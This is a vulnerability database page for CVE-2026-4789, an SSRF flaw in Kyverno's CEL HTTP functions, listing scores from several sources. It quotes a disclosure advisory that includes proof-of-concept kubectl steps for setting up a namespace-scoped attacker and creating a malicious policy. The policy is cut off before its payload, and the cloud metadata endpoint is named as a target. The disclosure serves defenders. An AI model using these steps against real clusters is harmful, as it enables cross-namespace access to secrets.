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CVE-2026-4789

CVE-2026-4789

9.8 CriticalFix available

Kyverno, versions 1.16.0 and later, are vulnerable to SSRF due to unrestricted CEL HTTP functions.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.71%Up 0.7 points since Mar 31, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.8

CVE-2026-4789

Kyverno, versions 1.16.0 and later, are vulnerable to SSRF due to unrestricted CEL HTTP functions.

Record
CVE-2026-4789
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
EUVDEUVD-2026-17241 9.8

Kyverno, versions 1.16.0 and later, are vulnerable to SSRF due to unrestricted CEL HTTP functions.

Record
EUVD-2026-17241
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-qqrv-2hch-83q4 5.3

Duplicate Advisory: Kyverno is vulnerable to server-side request forgery (SSRF)

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-rggm-jjmc-3394. This link is maintained to preserve external references.

Original Description

Kyverno, versions 1.16.0 and later, are vulnerable to SSRF due to unrestricted CEL HTTP functions.

Record
GHSA-qqrv-2hch-83q4
CVSS 4.0
5.3 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Weakness
CWE-918
Updated
2026-11-02
GitHub AdvisoriesGHSA-rggm-jjmc-3394 8.5

Kyverno has SSRF via CEL http.Get/http.Post in NamespacedValidatingPolicy allows cross-namespace data access

Summary

A Server-Side Request Forgery (SSRF) vulnerability in Kyverno's CEL HTTP library (pkg/cel/libs/http/) allows users with namespace-scoped policy creation permissions to make arbitrary HTTP requests from the Kyverno admission controller. This enables unauthorized access to internal services in other namespaces, cloud metadata endpoints (169.254.169.254), and data exfiltration via policy error messages.

Affected Versions

  • Kyverno >= 1.16.0 (with policies.kyverno.io CRDs enabled, which is the default)
  • Tested on: Kyverno v1.16.2 (Helm chart 3.6.2)

Details

The http.Get() and http.Post() functions available in CEL-based policies (policies.kyverno.io API group) do not enforce any URL restrictions. Unlike resource.Lib which enforces namespace boundaries for namespaced policies, the http.Lib allows unrestricted access to any URL.

Vulnerable Code: pkg/cel/libs/http/http.go

func (r *contextImpl) Get(url string, headers map[string]string) (any, error) {
    req, err := http.NewRequestWithContext(context.TODO(), "GET", url, nil)
    // NO URL VALIDATION - no blocklist, no namespace restrictions
    ...
}

Contrast with resource.Lib which enforces namespace:

// pkg/cel/libs/resource/lib.go
func Lib(namespace string, v *version.Version) cel.EnvOption {
    return cel.Lib(&lib{namespace: namespace, version: v})  // Namespace enforced
}

This is a different code path from previously reported issues:

  • GHSA-8p9x-46gm-qfx2: pkg/engine/apicall/apiCall.go (URLPath) - Fixed
  • GHSA-459x-q9hg-4gpq: pkg/engine/apicall/executor.go (Service.URL) - Different feature (apiCall vs CEL http)
  • This issue: pkg/cel/libs/http/http.go (CEL http.Get/http.Post) - Not fixed

PoC

Tested on Kyverno v1.16.2 (Chart 3.6.2) on Kubernetes v1.35.0 (kind).

A complete automated PoC script is attached. Manual steps below:

1. Setup attacker with namespace-scoped permissions

kubectl create namespace attacker-ns
kubectl create serviceaccount namespace-admin -n attacker-ns

cat <<EOF | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: namespace-admin-role
  namespace: attacker-ns
rules:
  - apiGroups: [""]
    resources: ["configmaps"]
    verbs: ["create", "get", "list"]
  - apiGroups: ["policies.kyverno.io"]
    resources: ["namespacedvalidatingpolicies"]
    verbs: ["create", "get", "list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: namespace-admin-binding
  namespace: attacker-ns
subjects:
  - kind: ServiceAccount
    name: namespace-admin
    namespace: attacker-ns
roleRef:
  kind: Role
  name: namespace-admin-role
  apiGroup: rbac.authorization.k8s.io
EOF

2. Create sensitive internal service (simulating internal API or cloud metadata)

cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: internal-api
  namespace: kube-system
  labels:
    app: internal-api
spec:
  containers:
  - name: server
    image: hashicorp/http-echo
    args:
      - "-text={\"secret\": \"STOLEN_INTERNAL_SECRET_12345\", \"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\"}"
      - "-listen=:8080"
---
apiVersion: v1
kind: Service
metadata:
  name: internal-api
  namespace: kube-system
spec:
  selector:
    app: internal-api
  ports:
  - port: 80
    targetPort: 8080
EOF

3. Verify attacker cannot access kube-system directly

kubectl auth can-i get pods -n kube-system --as=system:serviceaccount:attacker-ns:namespace-admin
# Output: no

4. Create malicious NamespacedValidatingPolicy (as attacker)

cat <<EOF | kubectl apply --as=system:serviceaccount:attacker-ns:namespace-admin -f -
apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedValidatingPolicy
metadata:
  name: cel-ssrf-poc
  namespace: attacker-ns
spec:
  matchConstraints:
    resourceRules:
      - apiGroups: [""]
        apiVersions: ["v1"]
        operations: ["CREATE"]
        resources:…
Record
GHSA-rggm-jjmc-3394
CVSS 3.1
8.5 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
NVD 9.8

Kyverno, versions 1.16.0 and later, are vulnerable to SSRF due to unrestricted CEL HTTP functions.

Record
CVE-2026-4789
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-918
Updated
2026-11-02
OSV 9.8

CVE-2026-4789

Kyverno, versions 1.16.0 and later, are vulnerable to SSRF due to unrestricted CEL HTTP functions.

Record
CVE-2026-4789
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
Show 6 moreShow less
OSVGHSA-qqrv-2hch-83q4 5.3

Duplicate Advisory: Kyverno is vulnerable to server-side request forgery (SSRF)

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-rggm-jjmc-3394. This link is maintained to preserve external references.

Original Description

Kyverno, versions 1.16.0 and later, are vulnerable to SSRF due to unrestricted CEL HTTP functions.

Record
GHSA-qqrv-2hch-83q4
CVSS 4.0
5.3 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Weakness
CWE-918
Updated
2026-11-02
OSVGHSA-rggm-jjmc-3394 8.5

Kyverno has SSRF via CEL http.Get/http.Post in NamespacedValidatingPolicy allows cross-namespace data access

Summary

A Server-Side Request Forgery (SSRF) vulnerability in Kyverno's CEL HTTP library (pkg/cel/libs/http/) allows users with namespace-scoped policy creation permissions to make arbitrary HTTP requests from the Kyverno admission controller. This enables unauthorized access to internal services in other namespaces, cloud metadata endpoints (169.254.169.254), and data exfiltration via policy error messages.

Affected Versions

  • Kyverno >= 1.16.0 (with policies.kyverno.io CRDs enabled, which is the default)
  • Tested on: Kyverno v1.16.2 (Helm chart 3.6.2)

Details

The http.Get() and http.Post() functions available in CEL-based policies (policies.kyverno.io API group) do not enforce any URL restrictions. Unlike resource.Lib which enforces namespace boundaries for namespaced policies, the http.Lib allows unrestricted access to any URL.

Vulnerable Code: pkg/cel/libs/http/http.go

func (r *contextImpl) Get(url string, headers map[string]string) (any, error) {
    req, err := http.NewRequestWithContext(context.TODO(), "GET", url, nil)
    // NO URL VALIDATION - no blocklist, no namespace restrictions
    ...
}

Contrast with resource.Lib which enforces namespace:

// pkg/cel/libs/resource/lib.go
func Lib(namespace string, v *version.Version) cel.EnvOption {
    return cel.Lib(&lib{namespace: namespace, version: v})  // Namespace enforced
}

This is a different code path from previously reported issues:

  • GHSA-8p9x-46gm-qfx2: pkg/engine/apicall/apiCall.go (URLPath) - Fixed
  • GHSA-459x-q9hg-4gpq: pkg/engine/apicall/executor.go (Service.URL) - Different feature (apiCall vs CEL http)
  • This issue: pkg/cel/libs/http/http.go (CEL http.Get/http.Post) - Not fixed

PoC

Tested on Kyverno v1.16.2 (Chart 3.6.2) on Kubernetes v1.35.0 (kind).

A complete automated PoC script is attached. Manual steps below:

1. Setup attacker with namespace-scoped permissions

kubectl create namespace attacker-ns
kubectl create serviceaccount namespace-admin -n attacker-ns

cat <<EOF | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: namespace-admin-role
  namespace: attacker-ns
rules:
  - apiGroups: [""]
    resources: ["configmaps"]
    verbs: ["create", "get", "list"]
  - apiGroups: ["policies.kyverno.io"]
    resources: ["namespacedvalidatingpolicies"]
    verbs: ["create", "get", "list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: namespace-admin-binding
  namespace: attacker-ns
subjects:
  - kind: ServiceAccount
    name: namespace-admin
    namespace: attacker-ns
roleRef:
  kind: Role
  name: namespace-admin-role
  apiGroup: rbac.authorization.k8s.io
EOF

2. Create sensitive internal service (simulating internal API or cloud metadata)

cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: internal-api
  namespace: kube-system
  labels:
    app: internal-api
spec:
  containers:
  - name: server
    image: hashicorp/http-echo
    args:
      - "-text={\"secret\": \"STOLEN_INTERNAL_SECRET_12345\", \"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\"}"
      - "-listen=:8080"
---
apiVersion: v1
kind: Service
metadata:
  name: internal-api
  namespace: kube-system
spec:
  selector:
    app: internal-api
  ports:
  - port: 80
    targetPort: 8080
EOF

3. Verify attacker cannot access kube-system directly

kubectl auth can-i get pods -n kube-system --as=system:serviceaccount:attacker-ns:namespace-admin
# Output: no

4. Create malicious NamespacedValidatingPolicy (as attacker)

cat <<EOF | kubectl apply --as=system:serviceaccount:attacker-ns:namespace-admin -f -
apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedValidatingPolicy
metadata:
  name: cel-ssrf-poc
  namespace: attacker-ns
spec:
  matchConstraints:
    resourceRules:
      - apiGroups: [""]
        apiVersions: ["v1"]
        operations: ["CREATE"]
        resources:…
Record
GHSA-rggm-jjmc-3394
CVSS 3.1
8.5 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
OSVBIT-kyverno-2026-4789 No score

CVE-2026-4789

Kyverno, versions 1.16.0 and later, are vulnerable to SSRF due to unrestricted CEL HTTP functions.

Record
BIT-kyverno-2026-4789
Updated
2026-11-02
OSVGO-2026-5621 No score

Kyverno has SSRF via CEL http.Get/http.Post in NamespacedValidatingPolicy allows cross-namespace data access in github.com/kyverno/kyverno

Kyverno has SSRF via CEL http.Get/http.Post in NamespacedValidatingPolicy allows cross-namespace data access in github.com/kyverno/kyverno

Record
GO-2026-5621
Updated
2026-11-02
OSVopenSUSE-SU-2026:10613-1 No score

kyverno-1.17.2-1.1 on GA media

These are all security issues fixed in the kyverno-1.17.2-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:10613-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/kyverno/kyverno
Go
 1.16.0 up to 1.17.0
1.17.0
kyverno
Bitnami
 1.16.0 up to 1.17.2
1.17.2
kyverno
openSUSE:Tumbleweed
From an advisory covering 5 CVEs
 before 1.17.2-1.1
1.17.2-1.1
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affected, facts
affected
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-4789 is a critical vulnerability (CVSS 9.8) in Kyverno, published March 30, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.71%, the 53rd percentile. Fixed in github.com/kyverno/kyverno 1.17.0.

References

Show 194 moreShow less
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Left out here: 1,543 references and the rest of 3 source descriptions. The JSON record has them.

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